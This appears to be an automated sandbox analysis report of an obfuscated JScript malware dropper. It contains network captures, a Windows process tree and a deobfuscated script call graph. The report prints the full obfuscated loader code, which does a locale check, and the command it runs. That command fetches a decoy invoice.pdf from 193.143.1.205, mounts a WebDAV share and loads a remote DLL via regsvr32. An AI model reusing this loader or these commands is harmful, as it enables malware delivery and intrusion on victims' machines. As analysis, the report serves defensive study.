aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:14:20.192909956 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:14:20.192920923 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 09:14:20.193023920 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 09:14:20.193036079 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 09:14:20.193250895 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 09:14:20.193262100 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 09:14:20.193279982 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 09:14:20.193290949 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 09:14:20.193304062 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 09:14:20.198262930 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	2888	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:14:21.924772978 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:14:22.745001078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:14:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:14:11
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2836992752554325080.js"
Imagebase:	0x7ff70fc70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:14:12
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Imagebase:	0x7ff61f680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:14:12
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:14:12
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:14:21
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:14:21
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61f680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:14:21
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff666680000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:14:22
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:14:22
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:14:22
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1672,i,1573266173070229235,7893960405040525869,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function edddsnhtw() {	edddsnhtw() ➔ undefined
1	htjqcad = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var pjmrk = this[duxxxmgwa + okultgr + tskuxdpkf + qgffrggkk + muntjt + hckvnt + hkvvxsi + eldzzawfm] ( this[pwamf + yvybdm + kmemzwle + tskuxdpkf + vvobw + duxxxmgwa + eldzzawfm][rfizwbp + tskuxdpkf + muntjt + okultgr + eldzzawfm + muntjt + pighyhw + koasl + zqxfs + muntjt + kmemzwle + eldzzawfm] ( pwamf + yvybdm + kmemzwle + tskuxdpkf + vvobw + duxxxmgwa + eldzzawfm + mtqwqye + yvybdm + boqevqb + muntjt + cyzayz + cyzayz ) [adohnzxu + muntjt + mjsumjc + adohnzxu + muntjt + okultgr + qmtogx] ( kyhsegje + tkdsqd + uwzzztt + tmhrjgdjn + buflpnmgj + rfizwbp + hssgl + adohnzxu + adohnzxu + uwzzztt + sglahz + ajywl + buflpnmgj + hssgl + yvybdm + uwzzztt + adohnzxu + tovlkgign + rfizwbp + nedslgg + hkvvxsi + eldzzawfm + tskuxdpkf + nedslgg + cyzayz + weineov + kajrna + okultgr + hkvvxsi + muntjt + cyzayz + tovlkgign + hckvnt + hkvvxsi + eldzzawfm + muntjt + tskuxdpkf + hkvvxsi + okultgr + eldzzawfm + vvobw + nedslgg + hkvvxsi + okultgr + cyzayz + tovlkgign + hpoav + nedslgg + kmemzwle + okultgr + cyzayz + muntjt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( undwgmoe = 0 ; undwgmoe < htjqcad[cyzayz + muntjt + hkvvxsi + mjsumjc + eldzzawfm + boqevqb] ; ++ undwgmoe )
4	{
5	if ( pjmrk == htjqcad[undwgmoe] )
6	{
7	pjmrk = true;
8	break ;
9	}
10	}
11	if ( pjmrk !== true )
12	this[pwamf + yvybdm + kmemzwle + tskuxdpkf + vvobw + duxxxmgwa + eldzzawfm][rkkmnpwjq + eljdpskx + vvobw + eldzzawfm] ( );
13	this[pwamf + yvybdm + kmemzwle + tskuxdpkf + vvobw + duxxxmgwa + eldzzawfm][rfizwbp + tskuxdpkf + muntjt + okultgr + eldzzawfm + muntjt + pighyhw + koasl + zqxfs + muntjt + kmemzwle + eldzzawfm] ( pwamf + yvybdm + kmemzwle + tskuxdpkf + vvobw + duxxxmgwa + eldzzawfm + mtqwqye + yvybdm + boqevqb + muntjt + cyzayz + cyzayz ) [tskuxdpkf + eljdpskx + hkvvxsi] ( kmemzwle + bzuetqhj + qmtogx + weineov + gjswei + kmemzwle + weineov + duxxxmgwa + nedslgg + kvgjimrk + muntjt + tskuxdpkf + qgffrggkk + boqevqb + muntjt + cyzayz + cyzayz + mtqwqye + muntjt + stvasrpo + muntjt + weineov + yzwbed + rfizwbp + nedslgg + bzuetqhj + bzuetqhj + okultgr + hkvvxsi + qmtogx + weineov + lrdzql + hckvnt + hkvvxsi + pxczkt + nedslgg + rwokfcwwf + muntjt + yzwbed + pwamf + muntjt + koasl + adohnzxu + muntjt + yiubkmy + eljdpskx + muntjt + qgffrggkk + eldzzawfm + weineov + yzwbed + pighyhw + eljdpskx + eldzzawfm + cozywcl + vvobw + cyzayz + muntjt + weineov + tujvioejd + eldzzawfm + muntjt + bzuetqhj + duxxxmgwa + tujvioejd + tovlkgign + vvobw + hkvvxsi + pxczkt + nedslgg + vvobw + kmemzwle + muntjt + mtqwqye + duxxxmgwa + qmtogx + yzgzzrw + weineov + boqevqb + eldzzawfm + eldzzawfm + duxxxmgwa + vbrnmceaj + gjswei + gjswei + tptocw + odfowdawb + ytamkqvx + mtqwqye + tptocw + rlsqrym + ytamkqvx + mtqwqye + tptocw + mtqwqye + clroa + quwakbftk + dujbqqu + gjswei + vvobw + hkvvxsi + pxczkt + nedslgg + vvobw + kmemzwle + muntjt + mtqwqye + duxxxmgwa + boqevqb + duxxxmgwa + lrdzql + nxtjuayf + nxtjuayf + qgffrggkk + eldzzawfm + okultgr + tskuxdpkf + eldzzawfm + weineov + tujvioejd + eldzzawfm + muntjt + bzuetqhj + duxxxmgwa + tujvioejd + tovlkgign + vvobw + hkvvxsi + pxczkt + nedslgg + vvobw + kmemzwle + muntjt + mtqwqye + duxxxmgwa + qmtogx + yzgzzrw + nxtjuayf + nxtjuayf + kmemzwle + bzuetqhj + qmtogx + weineov + gjswei + kmemzwle + weineov + hkvvxsi + muntjt + eldzzawfm + weineov + eljdpskx + qgffrggkk + muntjt + weineov + tovlkgign + tovlkgign + tptocw + odfowdawb + ytamkqvx + mtqwqye + tptocw + rlsqrym + ytamkqvx + mtqwqye + tptocw + mtqwqye + clroa + quwakbftk + dujbqqu + osacjg + vsejdd + vsejdd + vsejdd + vsejdd + tovlkgign + qmtogx + okultgr + pxczkt + kvgjimrk + kvgjimrk + kvgjimrk + tskuxdpkf + nedslgg + nedslgg + eldzzawfm + tovlkgign + nxtjuayf + nxtjuayf + kmemzwle + bzuetqhj + qmtogx + weineov + gjswei + kmemzwle + weineov + tskuxdpkf + muntjt + mjsumjc + qgffrggkk + pxczkt + tskuxdpkf + ytamkqvx + clroa + weineov + gjswei + qgffrggkk + weineov + tovlkgign + tovlkgign + tptocw + odfowdawb + ytamkqvx + mtqwqye + tptocw + rlsqrym + ytamkqvx + mtqwqye + tptocw + mtqwqye + clroa + quwakbftk + dujbqqu + osacjg + vsejdd + vsejdd + vsejdd + vsejdd + tovlkgign + qmtogx + okultgr + pxczkt + kvgjimrk + kvgjimrk + kvgjimrk + tskuxdpkf + nedslgg + nedslgg + eldzzawfm + tovlkgign + clroa + vsejdd + tptocw + odfowdawb + dujbqqu + ytamkqvx + quwakbftk + clroa + ytamkqvx + ytamkqvx + clroa + odfowdawb + rlsqrym + mtqwqye + qmtogx + cyzayz + cyzayz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll",0,false) ➔ 0
14	}
15	clroa = "U";
16	clroa = "H";
17	clroa = "P";
18	clroa = "V";
19	clroa = "j";
20	clroa = "r";
21	clroa = "W";
22	clroa = "Y";
23	clroa = "n";
24	clroa = "g";
25	clroa = "W";
26	clroa = "o";
27	clroa = "S";
28	clroa = "v";
29	clroa = "s";
30	clroa = "B";
31	clroa = "r";
32	clroa = "G";
33	clroa = "e";
34	clroa = "L";
35	clroa = "d";
36	clroa = "p";
37	clroa = "k";
38	clroa = "b";
39	clroa = "2";
40	nxtjuayf = "F";
41	nxtjuayf = "m";
42	nxtjuayf = "V";
43	nxtjuayf = "J";
44	nxtjuayf = "F";
45	nxtjuayf = "e";
46	nxtjuayf = "y";
47	nxtjuayf = "I";
48	nxtjuayf = "J";
49	nxtjuayf = "Y";
50	nxtjuayf = "V";
51	nxtjuayf = "n";
52	nxtjuayf = "J";
53	nxtjuayf = "o";
54	nxtjuayf = "D";
55	nxtjuayf = "U";
56	nxtjuayf = "s";
57	nxtjuayf = "&";
58	hckvnt = "D";
59	hckvnt = "s";
60	hckvnt = "d";
61	hckvnt = "x";
62	hckvnt = "x";
63	hckvnt = "E";
64	hckvnt = "i";
65	hckvnt = "N";
66	hckvnt = "G";
67	hckvnt = "Y";
68	hckvnt = "L";
69	hckvnt = "f";
70	hckvnt = "D";
71	hckvnt = "x";
72	hckvnt = "D";
73	hckvnt = "O";
74	hckvnt = "A";
75	hckvnt = "K";
76	hckvnt = "p";
77	hckvnt = "N";
78	hckvnt = "J";
79	hckvnt = "A";
80	hckvnt = "I";
81	hckvnt = "k";
82	hckvnt = "L";
83	hckvnt = "F";
84	hckvnt = "v";
85	hckvnt = "C";
86	hckvnt = "I";
87	adohnzxu = "d";
88	adohnzxu = "W";
89	adohnzxu = "P";
90	adohnzxu = "k";
91	adohnzxu = "b";
92	adohnzxu = "a";
93	adohnzxu = "l";
94	adohnzxu = "E";
95	adohnzxu = "s";
96	adohnzxu = "U";
97	adohnzxu = "d";
98	adohnzxu = "v";
99	adohnzxu = "w";
100	adohnzxu = "a";
101	adohnzxu = "U";
102	adohnzxu = "u";
103	adohnzxu = "Z";
104	adohnzxu = "C";
105	adohnzxu = "S";
106	adohnzxu = "R";
107	adohnzxu = "I";
108	adohnzxu = "X";
109	adohnzxu = "r";
110	adohnzxu = "v";
111	adohnzxu = "d";
112	adohnzxu = "f";
113	adohnzxu = "p";
114	adohnzxu = "H";
115	adohnzxu = "K";
116	adohnzxu = "m";
117	adohnzxu = "F";
118	adohnzxu = "y";
119	adohnzxu = "u";
120	adohnzxu = "J";
121	adohnzxu = "X";
122	adohnzxu = "m";
123	adohnzxu = "C";
124	adohnzxu = "X";
125	adohnzxu = "R";
126	duxxxmgwa = "N";
127	duxxxmgwa = "S";
128	duxxxmgwa = "W";
129	duxxxmgwa = "J";
130	duxxxmgwa = "t";
131	duxxxmgwa = "K";
132	duxxxmgwa = "b";
133	duxxxmgwa = "r";
134	duxxxmgwa = "e";
135	duxxxmgwa = "n";
136	duxxxmgwa = "J";
137	duxxxmgwa = "A";
138	duxxxmgwa = "p";
139	yiubkmy = "A";
140	yiubkmy = "u";
141	yiubkmy = "a";
142	yiubkmy = "U";
143	yiubkmy = "g";
144	yiubkmy = "G";
145	yiubkmy = "Q";
146	yiubkmy = "F";
147	yiubkmy = "Q";
148	yiubkmy = "z";
149	yiubkmy = "d";
150	yiubkmy = "u";
151	yiubkmy = "N";
152	yiubkmy = "e";
153	yiubkmy = "a";
154	yiubkmy = "H";
155	yiubkmy = "Z";
156	yiubkmy = "j";
157	yiubkmy = "k";
158	yiubkmy = "M";
159	yiubkmy = "k";
160	yiubkmy = "w";
161	yiubkmy = "d";
162	yiubkmy = "z";
163	yiubkmy = "l";
164	yiubkmy = "P";
165	yiubkmy = "n";
166	yiubkmy = "s";
167	yiubkmy = "B";
168	yiubkmy = "j";
169	yiubkmy = "m";
170	yiubkmy = "W";
171	yiubkmy = "o";
172	yiubkmy = "q";
173	boqevqb = "e";
174	boqevqb = "Q";
175	boqevqb = "U";
176	boqevqb = "y";
177	boqevqb = "m";
178	boqevqb = "q";
179	boqevqb = "R";
180	boqevqb = "P";
181	boqevqb = "L";
182	boqevqb = "J";
183	boqevqb = "U";
184	boqevqb = "v";
185	boqevqb = "h";
186	boqevqb = "X";
187	boqevqb = "r";
188	boqevqb = "A";
189	boqevqb = "M";
190	boqevqb = "b";
191	boqevqb = "J";
192	boqevqb = "t";
193	boqevqb = "H";
194	boqevqb = "t";
195	boqevqb = "h";
196	boqevqb = "G";
197	boqevqb = "M";
198	boqevqb = "y";
199	boqevqb = "P";
200	boqevqb = "O";
201	boqevqb = "s";
202	boqevqb = "J";
203	boqevqb = "j";
204	boqevqb = "F";
205	boqevqb = "a";
206	boqevqb = "b";
207	boqevqb = "v";
208	boqevqb = "D";
209	boqevqb = "h";
210	mjsumjc = "p";
211	mjsumjc = "g";
212	mjsumjc = "h";
213	mjsumjc = "h";
214	mjsumjc = "I";
215	mjsumjc = "T";
216	mjsumjc = "o";
217	mjsumjc = "k";
218	mjsumjc = "y";
219	mjsumjc = "J";
220	mjsumjc = "J";
221	mjsumjc = "A";
222	mjsumjc = "h";
223	mjsumjc = "g";
224	ajywl = "v";
225	ajywl = "G";
226	ajywl = "t";
227	ajywl = "D";
228	ajywl = "E";
229	ajywl = "m";
230	ajywl = "T";
231	ajywl = "T";
232	qmtogx = "v";
233	qmtogx = "x";
234	qmtogx = "r";
235	qmtogx = "P";
236	qmtogx = "C";
237	qmtogx = "p";
238	qmtogx = "v";
239	qmtogx = "p";
240	qmtogx = "o";
241	qmtogx = "B";
242	qmtogx = "t";
243	qmtogx = "m";
244	qmtogx = "S";
245	qmtogx = "m";
246	qmtogx = "A";
247	qmtogx = "G";
248	qmtogx = "w";
249	qmtogx = "A";
250	qmtogx = "T";
251	qmtogx = "V";
252	qmtogx = "D";
253	qmtogx = "w";
254	qmtogx = "P";
255	qmtogx = "I";
256	qmtogx = "t";
257	qmtogx = "A";
258	qmtogx = "N";
259	qmtogx = "q";
260	qmtogx = "u";
261	qmtogx = "V";
262	qmtogx = "b";
263	qmtogx = "w";
264	qmtogx = "I";
265	qmtogx = "a";
266	qmtogx = "O";
267	qmtogx = "J";
268	qmtogx = "s";
269	qmtogx = "O";
270	qmtogx = "M";
271	qmtogx = "S";
272	qmtogx = "P";
273	qmtogx = "D";
274	qmtogx = "d";
275	hssgl = "s";
276	hssgl = "S";
277	hssgl = "H";
278	hssgl = "G";
279	hssgl = "d";
280	hssgl = "I";
281	hssgl = "u";
282	hssgl = "H";
283	hssgl = "v";
284	hssgl = "d";
285	hssgl = "B";
286	hssgl = "c";
287	hssgl = "S";
288	hssgl = "U";
289	hssgl = "V";
290	hssgl = "A";
291	hssgl = "M";
292	hssgl = "O";
293	hssgl = "G";
294	hssgl = "p";
295	hssgl = "X";
296	hssgl = "K";
297	hssgl = "C";
298	hssgl = "R";
299	hssgl = "g";
300	hssgl = "s";
301	hssgl = "x";
302	hssgl = "V";
303	hssgl = "r";
304	hssgl = "Y";
305	hssgl = "V";
306	hssgl = "o";
307	hssgl = "I";
308	hssgl = "Q";
309	hssgl = "o";
310	hssgl = "b";
311	hssgl = "u";
312	hssgl = "Q";
313	hssgl = "U";
314	hpoav = "a";
315	hpoav = "j";
316	hpoav = "R";
317	hpoav = "M";
318	hpoav = "o";
319	hpoav = "q";
320	hpoav = "H";
321	hpoav = "P";
322	hpoav = "p";
323	hpoav = "U";
324	hpoav = "k";
325	hpoav = "h";
326	hpoav = "F";
327	hpoav = "Z";
328	hpoav = "D";
329	hpoav = "W";
330	hpoav = "L";
331	weineov = "W";
332	weineov = "K";
333	weineov = "U";
334	weineov = "o";
335	weineov = "H";
336	weineov = "v";
337	weineov = "l";
338	weineov = "H";
339	weineov = "g";
340	weineov = "p";
341	weineov = "m";
342	weineov = "q";
343	weineov = "c";
344	weineov = "Y";
345	weineov = "a";
346	weineov = "S";
347	weineov = "K";
348	weineov = " ";
349	rfizwbp = "N";
350	rfizwbp = "d";
351	rfizwbp = "z";
352	rfizwbp = "J";
353	rfizwbp = "d";
354	rfizwbp = "X";
355	rfizwbp = "A";
356	rfizwbp = "O";
357	rfizwbp = "J";
358	rfizwbp = "t";
359	rfizwbp = "L";
360	rfizwbp = "A";
361	rfizwbp = "s";
362	rfizwbp = "Q";
363	rfizwbp = "t";
364	rfizwbp = "P";
365	rfizwbp = "U";
366	rfizwbp = "B";
367	rfizwbp = "u";
368	rfizwbp = "U";
369	rfizwbp = "S";
370	rfizwbp = "y";
371	rfizwbp = "c";
372	rfizwbp = "P";
373	rfizwbp = "O";
374	rfizwbp = "Q";
375	rfizwbp = "g";
376	rfizwbp = "W";
377	rfizwbp = "k";
378	rfizwbp = "A";
379	rfizwbp = "P";
380	rfizwbp = "r";
381	rfizwbp = "k";
382	rfizwbp = "i";
383	rfizwbp = "O";
384	rfizwbp = "n";
385	rfizwbp = "C";
386	vsejdd = "j";
387	vsejdd = "u";
388	vsejdd = "Q";
389	vsejdd = "m";
390	vsejdd = "B";
391	vsejdd = "C";
392	vsejdd = "R";
393	vsejdd = "q";
394	vsejdd = "z";
395	vsejdd = "t";
396	vsejdd = "c";
397	vsejdd = "y";
398	vsejdd = "Q";
399	vsejdd = "v";
400	vsejdd = "p";
401	vsejdd = "a";
402	vsejdd = "w";
403	vsejdd = "Y";
404	vsejdd = "y";
405	vsejdd = "w";
406	vsejdd = "C";
407	vsejdd = "c";
408	vsejdd = "C";
409	vsejdd = "o";
410	vsejdd = "t";
411	vsejdd = "v";
412	vsejdd = "L";
413	vsejdd = "c";
414	vsejdd = "G";
415	vsejdd = "U";
416	vsejdd = "h";
417	vsejdd = "N";
418	vsejdd = "F";
419	vsejdd = "D";
